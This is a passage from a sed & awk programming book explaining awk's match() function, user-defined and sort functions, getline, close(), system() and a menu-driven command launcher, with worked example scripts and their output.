            gsub(CAP, substr(lower, CHAR, 1))
        }

# print record
       print $0
}' $*

In this script, the match() function appears in a conditional expression that determines whether a while loop will be executed. By placing this function in a loop, we apply the body of the loop as many times as the pattern occurs in the current input record.

The regular expression matches any sequence of uppercase letters in $0. If a match is made, a for loop does the lookup of each character in the substring that was matched, similar to what we did in the caps sample program, shown earlier in this chapter. What's different here is how we use the system variables RSTART and RLENGTH. RSTART initializes the counter variable x. It is used in the substr() function to extract one character at a time from $0, beginning with the first character that matched the pattern. By adding RLENGTH to RSTART, we get the position of the first character after the ones that matched the pattern. That is why the loop uses "<" instead of "<=". At the end, we use gsub() to replace the uppercase letter with the corresponding lowercase letter.[2] Notice that we use gsub() instead of sub() because it offers us the advantage of making several substitutions if there are multiple instances of the same letter on the line.

[2] You may be wondering, "why not just use tolower()?" Good question. Some early versions of nawk, including the one on SunOS 4.1.x systems, don't have tolower() and toupper(); thus it's useful to know how to do it yourself.

$ cat test
Every NOW and then, a WORD I type appears in CAPS.
$ lower test
every now and then, a word i type appears in caps.

Note that you could change the regular expression to avoid matching individual capital letters by matching a sequence of two or more uppercase characters, by using: "/[A-Z][A-Z]+/." This would also require revising the way the lowercase conversion was made using gsub(), since it matches a single character on the line.

In our discussion of the sed substitution command, you saw how to save and recall a portion of a string matched by a pattern, using \( and \) to surround the pattern to be saved and \n to recall the saved string in the replacement pattern. Unfortunately, awk's standard substitution functions offer no equivalent syntax. The match() function can solve many such problems, though.

For instance, if you match a string using the match() function, you can single out characters or a substring at the head or tail of the string. Given the values of RSTART and RLENGTH, you can use the substr() function to extract the characters. In the following example, we replace the second of two colons with a semicolon. We can't use gsub() to make the replacement because "/:/" matches the first colon and "/:[^:]*:/" matches the whole string of characters. We can use match() to match the string of characters and to extract the last character of the string.

# replace 2nd colon with semicolon using match, substr
if (match($1, /:[^:]*:/)) {
    before = substr($1, 1, (RSTART + RLENGTH - 2))
    after = substr($1, (RSTART + RLENGTH))
    $1 = before ";" after
}

The match() function is placed within a conditional statement that tests that a match was found. If there is a match, we use the substr() function to extract the substring before the second colon as well as the substring after it. Then we concatenate before, the literal ";", and after, assigning it to $1.

You can see examples of the match() function in use in Chapter 12, Full-Featured Applications.

Previous: 9.1 Arithmetic Functions | sed & awk | Next: 9.3 Writing Your Own Functions
9.1 Arithmetic Functions | Book Index | 9.3 Writing Your Own Functions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.3 Writing Your Own Functions

sed & awk

sed & awkSearch this book
Previous: 9.2 String Functions Chapter 9
Functions 		Next: 10. The Bottom Drawer

9.3 Writing Your Own Functions

With user-defined functions, awk allows the novice programmer to take another step toward C programming[3] by writing programs that make use of self-contained functions. When you write a function properly, you have defined a program component that can be reused in other programs. The real benefit of modularity becomes apparent as programs grow in size or in age, and as the number of programs you write increases significantly.

[3] Or programming in any other traditional high-level language.

A function definition can be placed anywhere in a script that a pattern-action rule can appear. Typically, we put the function definitions at the top of the script before the pattern-action rules. A function is defined using the following syntax:

function name (parameter-list) {
    statements
}

The newlines after the left brace and before the right brace are optional. You can also have a newline after the close-parenthesis of the parameter list and before the left brace.

The parameter-list is a comma-separated list of variables that are passed as arguments into the function when it is called. The body of the function consists of one or more statements. The function typically contains a return statement that returns control to that point in the script where the function was called; it often has an expression that returns a value as well.

return expression

The following example shows the definition for an insert() function:

function insert(STRING, POS, INS) {
        before_tmp = substr(STRING, 1, POS)
        after_tmp = substr(STRING, POS + 1)
        return before_tmp INS after_tmp
}

This function takes three arguments, inserting one string INS in another string STRING after the character at position POS.[4] The body of this function uses the substr() function to divide the value of STRING into two parts. The return statement returns a string that is the result of concatenating the first part of STRING, the INS string, and the last part of STRING. A function call can appear anywhere that an expression can. Thus, the following statement:

[4] We've used a convention of giving all uppercase names to our parameters. This is mostly to make the explanation easier to follow. In practice, this is probably not a good idea, since it becomes much easier to accidentally have a parameter conflict with a system variable.

print insert($1, 4, "XX")

If the value of $1 is "Hello," then this functions returns "HellXXo." Note that when calling a user-defined function, there can be no spaces between the function name and the left parenthesis. This is not true of built-in functions.

It is important to understand the notion of local and global variables. A local variable is a variable that is local to a function and cannot be accessed outside of it. A global variable, on the other hand, can be accessed or changed anywhere in the script. There can be potentially damaging side effects of global variables if a function changes a variable that is used elsewhere in the script. Therefore, it is usually a good idea to eliminate global variables in a function.

When we call the insert() function, and specify $1 as the first argument, then a copy of that variable is passed to the function, where it is manipulated as a local variable named STRING. All the variables in the function definition's parameter list are local variables and their values are not accessible outside the function. Similarly, the arguments in the function call are not changed by the function itself. When the insert() function returns, the value of $1 is not changed.

However, the variables defined in the body of the function are global variables, by default. Given the above definition of the insert() function, the temporary variables before_tmp and after_tmp are visible outside the function. Awk provides what its developers call an "inelegant" means of declaring variables local to a function, and that is by specifying those variables in the parameter list.

The local temporary variables are put at the end of the parameter list. This is essential; parameters in the parameter list receive their values, in order, from the values passed in the function call. Any extra parameters, like normal awk variables, are initialized to the empty string. By convention, the local variables are separated from the "real" parameters by several spaces. For instance, the following example shows how to define the insert() function with two local variables.

function insert(STRING, POS, INS,   before_tmp, after_tmp) {
        body
}

If this seems confusing,[5] seeing how the following script works might help:

[5] The documentation calls it a syntactical botch.

function insert(STRING, POS, INS,   before_tmp) {
    before_tmp = substr(STRING, 1, POS)
    after_tmp = substr(STRING, POS + 1)
    return before_tmp INS after_tmp
}

# main routine
{
print "Function returns", insert($1, 4, "XX")
print "The value of $1 after is:", $1
print "The value of STRING is:", STRING
print "The value of before_tmp:", before_tmp
print "The value of after_tmp:", after_tmp
}

Notice that we specify before_tmp in the parameter list. In the main routine, we call the insert() function and print its result. Then we print different variables to see what their value is, if any. Now let's run the above script and look at the output:

$ echo "Hello" | awk -f insert.awk -
Function returns HellXXo
The value of $1 after is: Hello
The value of STRING is:
The value of before_tmp:
The value of after_tmp: o

The insert() function returns "HellXXo," as expected. The value of $1 is the same after the function was called as it was before. The variable STRING is local to the function and it does not have a value when called from the main routine. The same is true for before_tmp because its name was placed in the parameter list for the function definition. The variable after_tmp which was not specified in the parameter list does have a value, the letter "o."

As this example shows, $1 is passed "by value" into the function. This means that a copy is made of the value when the function is called and the function manipulates the copy, not the original. Arrays, however, are passed "by reference." That is, the function does not work with a copy of the array but is passed the array itself. Thus, any changes that the function makes to the array are visible outside of the function. (This distinction between "scalar" variables and arrays also holds true for functions written in the C language.) The next section presents an example of a function that operates on an array.

9.3.1 Writing a Sort Function

Earlier in this chapter we presented the lotto script for picking x random numbers out of a series of y numbers. The script that we showed did not sort the list of numbers that were selected. In this section, we develop a sort function that sorts the elements of an array.

We define a function that takes two arguments, the name of the array and the number of elements in the array. This function can be called this way:

sort(sortedpick, NUM)

The function definition lists the two arguments and three local variables used in the function.

# sort numbers in ascending order
function sort(ARRAY, ELEMENTS,   temp, i, j) {
        for (i = 2; i <= ELEMENTS; ++i) {
                for (j = i; ARRAY[j-1] > ARRAY[j]; --j) {
                        temp = ARRAY[j]
                        ARRAY[j] = ARRAY[j-1]
                        ARRAY[j-1] = temp
                }
        }
        return
}

The body of the function implements an insertion sort. This sorting algorithm is very simple. We loop through each element of the array and compare it to the value preceding it. If the first element is greater than the second, the first and second elements are swapped. To actually swap the values, we use a temporary variable to hold a copy of the value while we overwrite the original. The loop continues swapping adjacent elements until all are in order. At the end of the function, we use the return statement to simply return control.[6] The function does not need to pass the array back to the main routine because the array itself is changed and it can be accessed directly.

[6] In this case, the return is not strictly necessary; "falling off the end" of the function would have the same effect. Since functions can have return values, it's a good idea to always use a return statement, even when you are not returning a value. This helps make your programs more readable.

Here's proof positive:

$ lotto 7 35
Pick 7 of 35
6 7 17 19 24 29 35

In fact, many of the scripts that we developed in this chapter could be turned into functions. For instance, if we only had the original, 1987, version of nawk, we might want to write our own tolower() and toupper() functions.

The value of writing the sort() function in a general fashion is that you can easily reuse it. To demonstrate this, we'll take the above sort function and use it to sort student grades. In the following script, we read all of the student grades into an array and then call sort() to put the grades in ascending order.

# grade.sort.awk -- script for sorting student grades
# input: student name followed by a series of grades

# sort function -- sort numbers in ascending order
function sort(ARRAY, ELEMENTS, 	temp, i, j) {
    for (i = 2; i <= ELEMENTS; ++i)
        for (j = i; ARRAY[j-1] > ARRAY[j]; --j) {
            temp = ARRAY[j]
            ARRAY[j] = ARRAY[j-1]
            ARRAY[j-1] = temp
    }
    return
}

# main routine
{
# loop through fields 2 through NF and assign values to
# array named grades
for (i = 2; i <= NF; ++i)
    grades[i-1] = $i

# call sort function to sort elements

sort(grades, NF-1)

# print student name
printf("%s: ", $1)

# output loop
for (j = 1; j <= NF-1; ++j)
    printf("%d ", grades[j])
printf("\n")
}

Note that the sort routine is identical to the previous version. In this example, once we've sorted the grades we simply output them:

$ awk -f grade.sort.awk grades.test
mona: 70 70 77 83 85 89
john: 78 85 88 91 92 94
andrea: 85 89 90 90 94 95
jasper: 80 82 84 84 88 92
dunce: 60 60 61 62 64 80
ellis: 89 90 92 96 96 98

However, you could, for instance, delete the first element of the sort array if you wanted to average the student grades after dropping the lowest grade.

As another exercise, you could write a version of the sort function that takes a third argument indicating an ascending or descending sort.

9.3.2 Maintaining a Function Library

You might want to put a useful function in its own file and store it in a central directory. Awk permits multiple uses of the -f option to specify more than one program file.[7] For instance, we could have written the previous example such that the sort function was placed in a separate file from the main program grade.awk. The following command specifies both program files:

[7] The SunOS 4.1.x version of nawk does not support multiple script files. This feature was not in the original 1987 version of nawk either. It was added in 1989 and is now part of POSIX awk.

$ awk -f grade.awk -f /usr/local/share/awk/sort.awk grades.test

This command assumes that grade.awk is in the working directory and that the sort function is defined in sort.awk in the directory /usr/local/share/awk.

NOTE: You cannot put a script on the command line and also use the -f option to specify a filename for a script.

Remember to document functions clearly so that you will understand how they work when you want to reuse them.

9.3.3 Another Sorted Example

Lenny, our production editor, is back with another request.

Dale:

The last section of each Xlib manpage is called "Related Commands"
(that is the argument of a .SH) and it's followed by a list of commands
(often 10 or 20) that are now in random order.  It'd be more
useful and professional if they were alphabetized.  Currently, commands
are separated by a comma after each one except the last, which has a
period.

The question is: could awk alphabetize these lists?  We're talking
about a couple of hundred manpages.  Again, don't bother if this is a
bigger job than it seems to someone who doesn't know what's involved.

Best to you and yours,

Lenny

To see what he is talking about, a simplified version of an Xlib manpage is shown below:

.SH "Name"
XSubImage  -  create a subimage from part of an image.
.
.
.
.SH "Related Commands"
XDestroyImage, XPutImage, XGetImage,
XCreateImage, XGetSubImage, XAddPixel,
XPutPixel, XGetPixel, ImageByteOrder.

You can see that the names of related commands appear on several lines following the heading. You can also see that they are in no particular order.

To sort the list of related commands is actually fairly simple, given that we've already covered sorting. The structure of the program is somewhat interesting, as we must read several lines after matching the "Related Commands" heading.

Looking at the input, it is obvious that the list of related commands is the last section in the file. All other lines except these we want to print as is. The key is to match all lines from the heading "Related Commands" to the end of the file. Our script can consist of four rules, that match:

  1. The "Related Commands" heading

  2. The lines following that heading

  3. All other lines

  4. After all lines have been read (END)

Most of the "action" takes place in the END procedure. That's where we sort and output the list of commands. Here's the script:

# sorter.awk -- sort list of related commands
# requires sort.awk as function in separate file
BEGIN { relcmds = 0 }

#1 Match related commands; enable flag x
/\.SH "Related Commands"/ {
    print
    relcmds = 1
    next
}

#2 Apply to lines following "Related Commands"
(relcmds == 1) {
    commandList = commandList $0
}

#3 Print all other lines, as is.
(relcmds == 0) { print }

#4 now sort and output list of commands
END {
# remove leading spaces and final period.
    gsub(/, */, ",", commandList)
    gsub(/\. *$/, "", commandList)
# split list into array
    sizeOfArray = split(commandList, comArray, ",")
# sort
    sort(comArray, sizeOfArray)
# output elements
    for (i = 1; i < sizeOfArray; i++)
        printf("%s,\n", comArray[i])
    printf("%s.\n", comArray[i])
}

Once the "Related Commands" heading is matched, we print that line and then set a flag, the variable relcmds, which indicates that subsequent input lines are to be collected.[8] The second procedure actually collects each line into the variable commandList. The third procedure is executed for all other lines, simply printing them.

[8] The getline function introduced in the next chapter provides a simpler way to control reading input lines.

When all lines of input have been read, the END procedure is executed, and we know that our list of commands is complete. Before splitting up the commands into fields, we remove any number of spaces following a comma. Next we remove the final period and any trailing spaces. Finally, we create the array comArray using the split() function. We pass this array as an argument to the sort() function, and then we print the sorted values.

This program generates the following output:

$ awk -f sorter.awk test
.SH "Name"
XSubImage  -  create a subimage from part of an image.
.SH "Related Commands"
ImageByteOrder,
XAddPixel,
XCreateImage,
XDestroyImage,
XGetImage,
XGetPixel,
XGetSubImage,
XPutImage,
XPutPixel.

Once again, the virtue of calling a function to do the sort versus writing or copying the code to do the same task is that the function is a module that's been tested previously and has a standard interface. That is, you know that it works and you know how it works. When you come upon the same sort code in the awk version, which uses different variable names, you have to scan it to verify that it works the same way as other versions. Even if you were to copy the lines into another program, you would have to make changes to accommodate the new circumstances. With a function, all you need to know is what kind of arguments it expects and their calling sequence. Using a function reduces the chance for error by reducing the complexity of the problem that you are solving.

Because this script presumes that the sort() function exists in a separate file, it must be invoked using the multiple -f options:

$ awk -f sort.awk -f sorter.awk test

where the sort() function is defined in the file sort.awk.

Previous: 9.2 String Functions | sed & awk | Next: 10. The Bottom Drawer
9.2 String Functions | Book Index | 10. The Bottom Drawer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] The Bottom Drawer

sed & awk

sed & awkSearch this book
Previous: 9.3 Writing Your Own Functions Chapter 10 Next: 10.2 The close() Function

10. The Bottom Drawer

Contents:
The getline Function
The close() Function
The system() Function
A Menu-Based Command Generator
Directing Output to Files and Pipes
Generating Columnar Reports
Debugging
Limitations
Invoking awk Using the #! Syntax

This chapter is proof that not everything has its place. Some things just don't seem to fit, no matter how you organize them. This chapter is a collection of such things. It is tempting to label it "Advanced Topics," as if to explain its organization (or lack thereof), but some readers might feel they need to make more progress before reading it. We have therefore called it "The Bottom Drawer," thinking of the organization of a chest of drawers, with underwear, socks, and other day-to-day things in the top drawers and heavier things that are less frequently used, like sweaters, in the bottom drawers. All of it is equally accessible, but you have to bend over to get things in the bottom drawer. It requires a little more effort to get something, that's all.

In this chapter we cover a number of topics, including the following:

  • The getline function

  • The system() function

  • Directing output to files and pipes

  • Debugging awk scripts

10.1 The getline Function

The getline function is used to read another line of input. Not only can getline read from the regular input data stream, it can also handle input from files and pipes.

The getline function is similar to awk's next statement. While both cause the next input line to be read, the next statement passes control back to the top of the script. The getline function gets the next line without changing control in the script. Possible return values are:

1 | If it was able to read a line.
0 | If it encounters the end-of-file.
-1 | If it encounters an error.

NOTE: Although getline is called a function and it does return a value, its syntax resembles a statement. Do not write getline(); its syntax does not permit parentheses.

In the previous chapter, we used a manual page source file as an example. The -man macros typically place the text argument on the next line. Although the macro is the pattern that you use to find the line, it is actually the next line that you process. For instance, to extract the name of the command from the manpage, the following example matches the heading "Name," reads the next line, and prints the first field of it:

# getline.awk -- test getline function
/^\.SH "?Name"?/ {
    getline # get next line
    print $1 # print $1 of new line.
}

The pattern matches any line with ".SH" followed by "Name," which might be enclosed in quotes. Once this line is matched, we use getline to read the next input line. When the new line is read, getline assigns it $0 and parses it into fields. The system variables NF, NR, and FNR are also set. Thus, the new line becomes the current line, and we are able to refer to "$1" and retrieve the first field. Note that the previous line is no longer available as $0. However, if necessary, you can assign the line read by getline to a variable and avoid changing $0, as we'll see shortly.

Here's an example that shows how the previous script works, printing out the first field of the line following ".SH Name."

$ awk -f getline.awk test
XSubImage

The sorter.awk program that we demonstrated at the end of Chapter 9, Functions, could have used getline to read all the lines after the heading "Related Commands." We can test the return value of getline in a while loop to read a number of lines from the input. The following procedure replaces the first two procedures in the sorter program:

# Match "Related Commands" and collect them
/^\.SH "?Related Commands"?/ {
    print
    while (getline > 0)
        commandList = commandList $0
}

The expression "getline > 0" will be true as long as getline successfully reads an input line. When it gets to the end-of-file, getline returns 0 and the loop is exited.

10.1.1 Reading Input from Files

Besides reading from the regular input stream, the getline function allows you to read input from a file or a pipe. For instance, the following statement reads the next line from the file data:

getline < "data"

Although the filename can be supplied through a variable, it is typically specified as a string constant, which must be enclosed in quotes. The symbol "<" is the same as the shell's input redirection symbol and will not be interpreted as the "less than" symbol. We can use a while loop to read all the lines from a file, testing for an end-of-file to exit the loop. The following example opens the file data and prints all of its lines:

while ( (getline < "data") > 0 )
    print

(We parenthesize to avoid confusion; the "<" is a redirection, while the ">" is a comparison of the return value.) The input can also come from standard input. You can use getline following a prompt for the user to enter information:

BEGIN { printf "Enter your name: "
    getline < "-"
    print
}

This sample code prints the prompt "Enter your name:" (printf is used because we don't want a carriage return after the prompt), and then calls getline to gather the user's response.[1] The response is assigned to $0, and the print statement outputs that value.

[1] At least at one time, SGI versions of nawk did not support the use of "-" with getline to read from standard input. Caveat emptor.

10.1.2 Assigning the Input to a Variable

The getline function allows you to assign the input record to a variable. The name of the variable is supplied as an argument. Thus, the following statement reads the next line of input into the variable input:

getline input

Assigning the input to a variable does not affect the current input line; that is, $0 is not affected. The new input line is not split into fields, and thus the variable NF is also unaffected. It does increment the record counters, NR and FNR.

The previous example demonstrated how to prompt the user. That example could be written as follows, assigning the user's response to the variable name.

BEGIN { printf "Enter your name: "
    getline name < "-"
    print name
}

Study the syntax for assigning the input data to a variable because it is a common mistake to instead write:

name = getline     # wrong

which assigns the return value of getline to the variable name.

10.1.3 Reading Input from a Pipe

You can execute a command and pipe the output into getline. For example, look at the following expression:

"who am i" | getline

That expression sets "$0" to the output of the who am i command.

dale       ttyC3        Jul 18 13:37

The line is parsed into fields and the system variable NF is set. Similarly, you can assign the result to a variable:

"who am i" | getline me

By assigning the output to a variable, you avoid setting $0 and NF, but the line is not split into fields.

The following script is a fairly simple example of piping the output of a command to getline. It uses the output from the who am i command to get the user's name. It then looks up the name in /etc/passwd, printing out the fifth field of that file, the user's full name:

awk '# getname - print users fullname from /etc/passwd
BEGIN { "who am i" | getline
    name = $1
    FS = ":"
}
name ~ $1 { print $5 }
' /etc/passwd

The command is executed from the BEGIN procedure, and it provides us with the name of the user that will be used to find the user's entry in /etc/passwd. As explained above, who am i outputs a single line, which getline assigns to $0. $1, the first field of that output, is then assigned to name.

The field separator is set to a colon (:) to allow us to access individual fields in entries in the /etc/passwd file. Notice that FS is set after getline or else the parsing of the command's output would be affected.

Finally, the main procedure is designed to test that the first field matches name. If it does, the fifth field of the entry is printed. For instance, when Dale runs this script, it prints "Dale Dougherty."

When the output of a command is piped to getline and it contains multiple lines, getline reads a line at a time. The first time getline is called it reads the first line of output. If you call it again, it reads the second line. To read all the lines of output, you must set up a loop that executes getline until there is no more output. For instance, the following example uses a while loop to read each line of output and assign it to the next element of the array, who_out:

while ("who" | getline)
    who_out[++i] = $0

Each time the getline function is called, it reads the next line of output. The who command, however, is executed only once.

The next example looks for "@date" in a document and replaces it with today's date:

# subdate.awk -- replace @date with todays date
/@date/ {
    "date +'%a., %h %d, %Y'" | getline today
    gsub(/@date/, today)
}
{ print }

The date command, using its formatting options,[2] provides the date and getline assigns it to the variable today. The gsub() function replaces each instance of "@date" with today's date.

[2] Older versions of date don't support formatting options. Particularly the one on SunOS 4.1.x systems; there you have to use /usr/5bin/date. Check your local documentation.

This script might be used to insert the date in a form letter:

To: Peabody
From: Sherman
Date: @date

I am writing you on @date to
remind you about our special offer.

All lines of the input file would be passed through as is, except the lines containing "@date", which are replaced with today's date:

$ awk -f subdate.awk subdate.test
To: Peabody
From: Sherman
Date: Sun., May 05, 1996

I am writing you on Sun., May 05, 1996 to
remind you about our special offer.

Previous: 9.3 Writing Your Own Functions | sed & awk | Next: 10.2 The close() Function
9.3 Writing Your Own Functions | Book Index | 10.2 The close() Function
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.2 The close() Function

sed & awk

sed & awkSearch this book
Previous: 10.1 The getline Function Chapter 10
The Bottom Drawer 		Next: 10.3 The system() Function

10.2 The close() Function

The close() function allows you to close open files and pipes. There are a number of reasons you should use it.

  • You can only have so many pipes open at a time. (See the section "Limitations" below, which describes how such limitations can differ from system to system.) In order to open as many pipes in a program as you wish, you must use the close() function to close a pipe when you are done with it (ordinarily, when getline returns 0 or -1). It takes a single argument, the same expression used to create the pipe. Here's an example:

    close("who")

  • Closing a pipe allows you to run the same command twice. For example, you can use date twice to time a command.

  • Using close() may be necessary in order to get an output pipe to finish its work. For example:

    { some processing of $0 | "sort > tmpfile" }
END {
    close("sort > tmpfile")
    while ((getline < "tmpfile") > 0) {
        do more work
    }
}

  • Closing open files is necessary to keep you from exceeding your system's limit on simultaneously open files.

We will see an example of the close() function in the section "Working with Multiple Files" later in this chapter.

Previous: 10.1 The getline Function | sed & awk | Next: 10.3 The system() Function
10.1 The getline Function | Book Index | 10.3 The system() Function
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.3 The system() Function

sed & awk

sed & awkSearch this book
Previous: 10.2 The close() Function Chapter 10
The Bottom Drawer 		Next: 10.4 A Menu-Based Command Generator

10.3 The system() Function

The system() function executes a command supplied as an expression.[3] It does not, however, make the output of the command available within the program for processing. It returns the exit status of the command that was executed. The script waits for the command to finish before continuing execution. The following example executes the mkdir command:

[3] The system() function is modeled after the standard C library function of the same name.

BEGIN { if (system("mkdir dale") != 0)
        print "Command Failed" }

The system() function is called from an if statement that tests for a non-zero exit status. Running the program twice produces one success and one failure:

$ awk -f system.awk
$ ls dale
$ awk -f system.awk
mkdir: dale: File exists
Command Failed

The first run creates the new directory and system() returns an exit status of 0 (success). The second time the command is executed, the directory already exists, so mkdir fails and produces an error message. The "Command Failed" message is produced by awk.

The Berkeley UNIX command set has a small but useful command for troff users named soelim, named because it "eliminates" ".so" lines from a troff input file. (.so is a request to include or "source" the contents of the named file.) If you have an older System V system that does not have soelim, you can use the following awk script to create it:

/^\.so/ { gsub(/"/, "", $2)
        system("cat " $2)
        next
        }
{ print }

This script looks for ".so" at the beginning of a line, removes any quotation marks, and then uses system() to execute the cat command and output the contents of the file. This output merges with the rest of the lines in the file, which are simply printed to standard output, as in the following example.

$ cat soelim.test
This is a test
.so test1
This is a test
.so test2
This is a test.
$ awk -f soelim.awk soelim.test
This is a test
first:second
one:two
This is a test
three:four
five:six
This is a test.

We don't explicitly test the exit status of the command. Thus, if the file does not exist, the error messages merge with the output:

$ awk -f soelim.awk soelim.test
This is a test
first:second
one:two
This is a test
cat: cannot open test2
This is a test.

We might want to test the return value of the system() function and generate an error message for the user. This program is also very simplistic: it does not handle instances of ".so" nested in the included file. Think about how you might implement a version of this program that did handle nested ".so" requests.

This example is a function prompting you to enter a filename. It uses the system() function to execute the test command to verify the file exists and is readable:

# getFilename function -- prompts user for filename,
#   verifies that file exists and returns absolute pathname.
function getFilename(	file) {
    while (! file) {
    printf "Enter a filename: "
    getline < "-" # get response
    file = $0
    # check that file exists and is readable
    # test returns 1 if file does not exist.
    if (system("test -r " file)) {
        print file " not found"
        file = ""
    }
    }
    if (file !~ /^\//) {
    "pwd" | getline # get current directory
     close("pwd")
    file = $0 "/" file
    }
    return file
}

This function returns the absolute pathname of the file specified by the user. It places the prompting and verification sequence inside a while loop in order to allow the user to make a different entry if the previous one is invalid.

The test -r command returns 0 if the file exists and is readable, and 1 if not. Once it is determined that the filename is valid, then we test the filename to see if it begins with a "/", which would indicate that the user supplied an absolute pathname. If that test fails, we use the getline function to get the output of the pwd command and prepend it to the filename. (Admittedly, the script makes no attempt to deal with "./" or "../" entries, although tests can be easily devised to match them.) Note the two uses of the getline function: the first gets the user's response and the second executes the pwd command.

Previous: 10.2 The close() Function | sed & awk | Next: 10.4 A Menu-Based Command Generator
10.2 The close() Function | Book Index | 10.4 A Menu-Based Command Generator
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.4 A Menu-Based Command Generator

sed & awk

sed & awkSearch this book
Previous: 10.3 The system() Function Chapter 10
The Bottom Drawer 		Next: 10.5 Directing Output to Files and Pipes

10.4 A Menu-Based Command Generator

In this section, we look at a general use of the system() and getline functions to implement a menu-based command generator. The object of this program is to give unsophisticated users a simple way to execute long or complex UNIX commands. A menu is used to prompt the user with a description of the task to be performed, allowing the user to choose by number any selection of the menu to execute.

This program is designed as a kind of interpreter that reads from a file the descriptions that appear in the menu and the actual command lines that are executed. That way, multiple menu-command files can be used, and they can be easily modified by awk-less users without changing the program.

The format of a menu-command file contains the menu title as the first line in the file. Subsequent lines contain two fields: the first is the description of the action to be performed and the second is the command line that performs it. An example is shown below:

$ cat uucp_commands
UUCP Status Menu
Look at files in PUBDIR:find /var/spool/uucppublic -print
Look at recent status in LOGFILE:tail /var/spool/uucp/LOGFILE
Look for lock files:ls /var/spool/uucp/*.LCK

The first step in implementing the menu-based command generator is to read the menu-command file. We read the first line of this file and assign it to a variable named title. The rest of the lines contain two fields and are read into two arrays, one for the menu items and one for the commands to be executed. A while loop is used, along with getline, to read one line at a time from the file.

BEGIN { FS = ":"
if ((getline < CMDFILE) > 0)
    title = $1
else
    exit 1
while ((getline < CMDFILE) > 0) {
    # load array
    ++sizeOfArray
    # array of menu items
    menu[sizeOfArray] = $1
    # array of commands associated with items
    command[sizeOfArray] = $2
    }
...
}

Look carefully at the syntax of the expression tested by the if statement and the while loop.

(getline < CMDFILE) > 0

The variable CMDFILE is the name of the menu-command file, which is passed as a command-line parameter. The two angle-bracket symbols have completely different functions. The "<" symbol is interpreted by getline as the input redirection operator. Then the value returned by getline is tested to see if it is greater than (">") 0. It is parenthesized on purpose, in order to make this clear. In other words, "getline < CMDFILE" is evaluated first and then its return value is compared to 0.

This procedure is placed in the BEGIN pattern. However, there is one catch. Because we intended to pass the name of the menu file as a command-line parameter, the variable CMDFILE would not normally be defined and available in the BEGIN pattern. In other words, the following command will not work:

awk script CMDFILE="uucp_commands" -

because CMDFILE variable won't be defined until the first line of input is read.

Fortunately, awk provides the -v option to handle just such a case. Using the -v option makes sure that the variable is set immediately and thus available in the BEGIN pattern.

awk -v CMDFILE="uucp_commands" script

If your version of awk doesn't have the -v option, you can pass the value of CMDFILE as a shell variable. Create a shell script to execute awk and in it define CMDFILE. Then change the line that reads CMDFILE in the invoke script (see below) as follows:

while ((getline < '"$CMDFILE"') > 0 ) {

Once the menu-command file is loaded, the program must display the menu and prompt the user. This is implemented as a function because we need to call it in two places: from the BEGIN pattern to prompt the user initially, and after we have processed the user's response so that another choice can be made. Here's the display_menu() function:

function display_menu() {
    # clear screen -- comment out if clear does not work
    system("clear")
    # print title, list of items, exit item, and prompt
    print "\t" title
    for (i = 1; i <= sizeOfArray; ++i)
        printf "\t%d. %s\n", i, menu[i]
    printf "\t%d. Exit\n", i
    printf("Choose one: ")
}

The first thing we do is use the system() function to call a command to clear the screen. (On my system, clear does this; on others it may be cls or some other command. Comment out the line if you cannot find such a command.) Then we print the title and each of the items in a numbered list. The last item is always "Exit." Finally, we prompt the user for a choice.

The program will take standard input so that the user's answer to the prompt will be the first line of input. Our reading of the menu-command file was done within the program and not as part of the input stream. Thus, the main procedure of the program is to respond to the user's choice and execute a command. Here's that part of the program:

# Applies the user response to prompt
{
   # test value of user response
   if ($1 > 0 && $1 <= sizeOfArray) {
    # print command that is executed
    printf("Executing ... %s\n", command[$1])
    # then execute it.
    system(command[$1])
    printf("<Press RETURN to continue>")
     # wait for input before displaying menu again
    getline
   }
   else
    exit
   # re-display menu
   display_menu()
}

First, we test the range of the user's response. If the response falls outside the range, we simply exit the program. If it is a valid response, then we retrieve the command from the array command, display it, and then execute it using the system() function. The user sees the result of the command on the screen followed by the message "<Press RETURN to continue>." The purpose of this message is to wait for the user to finish before clearing the screen and redisplaying the menu. The getline function causes the program to wait for a response. Note that we don't do anything with the response. The display_menu() function is called at the end of this procedure to redisplay the menu and prompt for another line of input.

Here's the invoke program in full:

awk -v CMDFILE="uucp_commands"  '# invoke -- menu-based
                                  # command generator
# first line in CMDFILE is the title of the menu
# subsequent lines contain: $1 - Description;
# $2 Command to execute
BEGIN { FS = ":"
# process CMDFILE, reading items into menu array
  if ((getline < CMDFILE) > 0)
    title = $1
  else
    exit 1
  while ((getline < CMDFILE) > 0) {
    # load array
    ++sizeOfArray
    # array of menu items
    menu[sizeOfArray] = $1
    # array of commands associated with items
    command[sizeOfArray] = $2
  }
  # call function to display menu items and prompt
  display_menu()
}
# Applies the user response to prompt
{
   # test value of user response
   if ($1 > 0 && $1 <= sizeOfArray) {
    # print command that is executed
    printf("Executing ... %s\n", command[$1])
    # then execute it.
    system(command[$1])
    printf("<Press RETURN to continue>")
     # wait for input before displaying menu again
    getline
   }
   else
    exit
   # re-display menu
   display_menu()
}
function display_menu() {
    # clear screen -- if clear does not work, try "cls"
    system("clear")
    # print title, list of items, exit item, and prompt
    print "\t" title
    for (i = 1; i <= sizeOfArray; ++i)
        printf "\t%d. %s\n", i, menu[i]
    printf "\t%d. Exit\n", i
    printf("Choose one: ")
}' -

When a user runs the program, the following output is displayed:

UUCP Status Menu
        1. Look at files in PUBDIR
        2. Look at recent status in LOGFILE
        3. Look for lock files
        4. Exit
Choose one:

The user is prompted to enter the number of a menu selection. Anything other than a number between 1 and 3 exits the menu. For instance, if the user enters "1" to see a list of files in uucp's public directory, then the following result is displayed on the screen:

Executing ...find /var/spool/uucppublic -print
/var/spool/uucppublic
/var/spool/uucppublic/dale
